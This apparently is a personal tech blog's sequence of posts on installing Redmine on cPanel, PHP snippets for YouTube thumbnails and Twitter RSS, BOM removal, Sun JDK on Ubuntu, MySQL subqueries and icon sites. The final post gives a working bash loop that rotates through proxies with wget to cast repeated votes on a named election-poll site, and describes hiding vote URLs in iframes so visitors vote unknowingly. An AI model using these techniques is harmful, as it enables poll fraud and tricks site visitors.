Installing Redmine on cPanel

Installing Redmine on cPanel will be bit harder, because it needs some modifications on server configuration. And custom modifications will be lost on regeneration of configuration files by cPanel. According instruction at http://www.redmine.org/projects/redmine/wiki/HowTo_install_Redmine_on_CentOS_5 you will need change Apache configuration manually. It’s not okay on cPanel. Also it will be conflicts with the Ruby, Rack, RoR versions which comes with cPanel.

Let’s deal with it.

First of all be sure that you have root access to your server, and Ruby on Rails is uninstalled.

Get the rubygems (1.4.2 version):

wget http://production.cf.rubygems.org/rubygems/rubygems-1.4.2.tgz
tar zxvf rubygems-1.4.2.tgz
cd rubygems-1.4.2
ruby setup.rb

Then install passenger:

gem install passenger

Download and extract redmine:

wget http://rubyforge.org/frs/download.php/75518/redmine-1.2.2.tar.gz  # GET LATEST VERSION ON RUBYFORGE
tar zxvf redmine-1.2.2.tar.gz

Install bundler:

gem install bundler

Go to redmine directory and create Gemfile and install bundle:

vi /<redmine_dir>/Gemfile
source "http://rubygems.org" 
gem "rake", "0.8.3" 
gem "rack", "1.1.0" 
gem "i18n", "0.4.2" 
gem "rubytree", "0.5.2", :require => "tree" 
gem "RedCloth", "~>4.2.3", :require => "redcloth" # for CodeRay
gem "mysql" 
gem "coderay", "~>0.9.7" 
bundle install

Create database and user for it, go to redmine directory:

cd config
mv database.yml.example database.yml

Edit database.yml file and write database credentials in production section.

Now edit the config/environment.rb file.

ENV['RAILS_ENV'] ||= 'production'

Type in the shell:

RAILS_ENV=production bundle exec rake generate_session_store
RAILS_ENV=production bundle exec rake db:migrate
RAILS_ENV=production bundle exec rake redmine:load_default_data

Make sure there were no any error messages.

Go to public/ directory:

cd public/
mv dispatch.cgi.example dispatch.cgi
mv dispatch.fcgi.example dispatch.fcgi
mv dispatch.rb.example dispatch.rb
mv htaccess.fcgi.example .htaccess

Half of the work is done.

Now we must make it available to cPanel. So cPanel uses different version of rack and RoR there will be conflicts.

Install rubyonrails for cPanel.

/scripts/installruby

It will install RoR, RubyGems, Rack etc. which not compatible with redmine. Otherwise you’ll not be able to start ruby application from cPanel. So, create application named redmine and show the path(e.x. /home/redmine/ruby_apps/redmine – but it’s not real redmine directory with you just configured, it’s better show the non-existing directory). Once application is created. You can start it.

Start by clicking Run button on cPanel.

Test it http://yoursite.com:12001. If everything is okay, so we can continue for tricks.

Now stop it.

Go to directory which you created with RoR application on cPanel. Remove all files, copy everything from configured redmine directory. Then go to rubygems directory where you downloaded 1.4.2 version.

ruby setup.rb

Go to redmine directory

gem install passenger
bundle install

Change permissions for redmine directory.

cd ..
chown -R apache:apache redmine_dir
chmod -R 755 redmine_dir

Now go to cPanel, Ruby on Rails section. Run the application. Now it’s ready on http://yoursite.com:12001. You can make it available on port 80 with htaccess.

Enjoy!

Getting thumbnail from YouTube

Getting thumbnail image of any YouTube video you need it’s video ID number. Video ID number is the 11 character string in the url and assigned to v parameter. For example video ID of this video http://www.youtube.com/watch?v=S5msjdZIoag&feature=related is S5msjdZIoag.

You can get the video ID by the URL simply with strpos() function in PHP.

function getVideoID($url) {
    // get v parameter position
    $pos = strpos($url,"?v=");
    if ($pos==false) $pos = strpos($url,"&amp;v=");
 
    if ($pos==false) return false;
 
    return substr($url,$pos+3,11);
}

The url http://i.ytimg.com/vi/S5msjdZIoag/default.jpg is the thumbnail image of the video above. As you see the S5msjdZIoag string is present in this url too. So url of thumbnail image of any video is http://i.ytimg.com/vi/<video_id>/default.jpg

function getVideoID($url) {
    // get v parameter position
    $pos = strpos($url,"?v=");
    if ($pos==false) $pos = strpos($url,"&v=");
 
    if ($pos==false) return false;
 
    return substr($url,$pos+3,11);
}
 
function getVideoThumbnail($videoId) {
 
    return "http://i.ytimg.com/vi/".$videoId."/default.jpg";
 
}
 
$url = "http://www.youtube.com/watch?v=S5msjdZIoag&feature=related";
 
$videoId = getVideoID($url);
 
echo (getVideoThumbnail($videoId));

Reference:

http://code.google.com/apis/youtube/2.0/developers_guide_protocol.html

Removing UTF8 BOM from PHP files

UTF8 Byte Order Mark (BOM) is sequence of bytes for represent the file as UTF8. The sequence is hexadecimal EF BB BF value also you can see it at the beginning of the file as ï»¿. When these symbols is used the text editor recognizes that file as UTF8.

In most cases it creates a problem for PHP programmers. When php file is interpreted these symbols sent to the output directly (because there are not inside of <?php ?> tags). If the php file modifies or sends headers, BOM is sent before the headers(as an output) and sending headers fails. Usually you see such error:

Warning: Cannot modify header information – headers already sent by (output started at /path/to/php/public_html/config.php:28) in /path/to/php/public_html/index.php on line 101

The solution is to remove the UTF8 BOM signature from the PHP files. On Notepad++ or EmEditor you can save the file without UTF8 BOM. Another method is to open the files with the editor with can’t read utf8 and remove these byte order manually.

The easiest way is bomremover tool. You can get it from http://code.google.com/p/bomremover/ .

 

#cd /path/to/php/files/
#/path/to/bomremover/bomremover.sh -r

This will recursively locate the files and remove the BOM from files.

For removing BOM from a single file:

#cd /path/to/php/files/
#/path/to/bomremover/bomremover.sh index.php

 

Reference:

Linux computer inside your browser

The subject I am writing about is the x86 emulator written in pure JavaScript and it works inside the browser.

The author of emulator is Fabrice Bellard also founder of QEMU, FFMPEG, Tiny C Compiler. You can test it from http://bellard.org/jslinux/.

On first glance I though that it’s just little window and seems like Linux terminal which supports basic unix commands. After testing it I saw that all unix commands and all programs inside this machine works as expected.

This is not any simulation nor emulation of linux, it’s really linux inside your browser. How?
As a web site it contains two JavaScript files. One of them is terminal program. Another is the emulation of x86 computer inside your browsers. So, pure javascript code emulates an x86 computer and the it loads real linux kernel image into this computer. Author didn’t write any linux software(vi, grep, ls etc. ) for this machine. Because it’s easy to find everywhere or compile them for x86 and those programs are inside the linux image which loaded into emulated x86 computer.

What will the next step? With little modification it’s possible to load FreeBSD, Solaris and even MS Dos into this machine.
With the help of HTML5 canvas and webGL will be possible to create emulation of graphic card. And with no doubt will be possible to load Windows, Linux X server etc. into this machine.

Installing Sun JDK instead of OpenJDK on Ubuntu

By default Ubuntu comes with OpenJDK. Most developers prefer closed source JDK instead of OpenJDK. But in version Ubuntu 10.10 the closed source version of JDK is not listed in apt-get list. So it makes some difficulties removing OpenJDK.

First of all you need install JDK and for it you need add this line to apt-get source list. Open /etc/apt/sources.list file and append this line there:

cd /etc/apt/
echo "deb http://us.archive.ubuntu.com/ubuntu/ hardy multiverse" >>sources.list

Update the repository

apt-get update

Install packages sun-java6-jre and sun-java6-jdk

apt-get install sun-java6-jre
apt-get install sun-java6-jdk

Update environment to use just installed JDK

update-java-alternatives -s java-6-sun

Uninstall unused openjdk-6-jre-lib package

apt-get remove openjdk-6-jre-lib

For testing purpose type following command in shell:

java -version

If you see something like this so everything is OK

java version "1.6.0_06"
Java(TM) SE Runtime Environment (build 1.6.0_06-b02)
Java HotSpot(TM) Client VM (build 10.0-b22, mixed mode, sharing)

Getting twitter messages on PHP

It’s usual on web sites to place a widget with twitter messages by site owner. There are many methods to get messages from Twitter. For example you can do it using Twitter API.

There is another very simple method. It’s possible to get the messages via RSS.

The page contains RSS feed of tweets by me.

http://twitter.com/statuses/user_timeline/adilaliyev.rss



On PHP you can get the contents of RSS with a help of cURL:

<?php
// create a new cURL handle
$ch = curl_init();
 
// set RSS URL
curl_setopt($ch, CURLOPT_URL, "http://twitter.com/statuses/user_timeline/adilaliyev.rss");
 
// set additional options
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 
// get the contents
$a = curl_exec($ch);
 
echo ($a);
 
// close cURL handle
curl_close($ch);
?>

After getting the RSS feeds you can manipulate it using XML Features of PHP.

Subqueries in MySQL

MySQL has an interesting feature called subquery. It lets you to use SELECT statement within another query.

Imagine you have two tables named countries and capitals you want select capital names and country names without join statement.

The tables are as follow:

mysql> SELECT * FROM countries;
+------+------------+
| code | name       |
+------+------------+
|    1 | Azerbaijan |
|    2 | Japan      |
|    3 | Germany    |
|    4 | USA        |
|    6 | Turkey     |
+------+------------+
 
mysql> SELECT * FROM capitals;
+---------+------------+
| country | capital    |
+---------+------------+
|       1 | Baku       |
|       2 | Tokyo      |
|       3 | Berlin     |
|       4 | Washington |
|       6 | Ankara     |
+---------+------------+

Now we need show capitals and country names according to country code.  You can do it with using JOIN or VIEW etc. And also you can simply use subquery like this:

mysql> SELECT capital,(SELECT name FROM countries WHERE code=country) AS country FROM capitals;
+------------+------------+
| capital    | country    |
+------------+------------+
| Baku       | Azerbaijan |
| Tokyo      | Japan      |
| Berlin     | Germany    |
| Washington | USA        |
| Ankara     | Turkey     |
+------------+------------+

This method is not too good for performance point-view, but, you can use it in some situations.

Reference:
http://dev.mysql.com/doc/refman/5.0/en/subqueries.html

Graphic icons for buttons

Most common problem of software developers is finding good graphic icons for buttons, links or something like that.

There are many sites where you can download such icons in various sizes. One good method is searching on google. Type on search text

name_of_icon imagesize:16×16

For example:

folder imagesize:16×16

It will search for images in 16×16 pixel size. Usually in 16x16px size images are little icons for buttons or favicons of web-sites so probably you will get what you want in a results page.

Another method searching on http://findicons.com/ web site. It has nice interface and you can select different sizes of image and different file types.

The http://www.iconarchive.com/ also good source for finding icons. But it’s interface bit complicated.

http://openiconlibrary.sourceforge.net/ this is collection of public licensed graphic icons. Quantity of icons is about 10 000. Big advantage of openiconlibrary is that you can download overall package. But it has no any search system so, you will search by one.

Windows is a beautiful background not an OS :)

Windows is big, it’s only job is making all your resources busy.

Linux is little, it’s job is to work even if your resources are limited.

*nix is the best!!!

wget as a hacker tool

Few days ago some people called himself web-programmers, created a web-site where it was online voting for the parliament in my country. It was a simple system you select your region, select the candidate and vote for him. The purpose of this system was to know approximate results of the election…

One of the sites used requests by GET method. The only limit was about IP address. So, from one IP address you vote once. Many people took the URL with the request and put it to their web sites as a iframe, img, or something else. For example:
http://namized.com/index.php?menyu=sesver&daireid=55&namizedid=74&buttson=S%C6%8FS+VER

You put this on the iframe in your page

<iframe src="http://namized.com/index.php?menyu=sesver&daireid=55&namizedid=74&buttson=S%C6%8FS+VER"></iframe>

and when your page is visited automatically it’s voted for “your” candidate.

GNU has a good tool called wget for downloading files from internet(or any other network). wget has a lot of options for performing different operations while you download the files. Most important options for “voting” purposes are –proxy, this little bash script will do your job:

while read line   
do   
    export http_proxy=$line
    wget --proxy=on "http://namized.com/index.php?menyu=sesver&daireid=55&namizedid=74&buttson=S%C6%8FS+VER"
done <proxy.list

Googling for proxy server list and copy/pasting them to proxy.list file on the current directory and then executing the script will vote for your candidate from different proxies. So, recorded IP address will be proxy IP address not yours.

Additionally if you want speed up the process by reducing your RAM and network resources you can change the script as follow:

while read line   
do   
    export http_proxy=$line
    wget --tries=1 --timeout=10 --proxy=on "http://namized.com/index.php?menyu=sesver&daireid=55&namizedid=74&buttson=S%C6%8FS+VER" &
done <proxy.list

Another web site used POST requests. wget has an option –post-data for solving this problem :)

Hmmm. Using a captcha could solve the problem…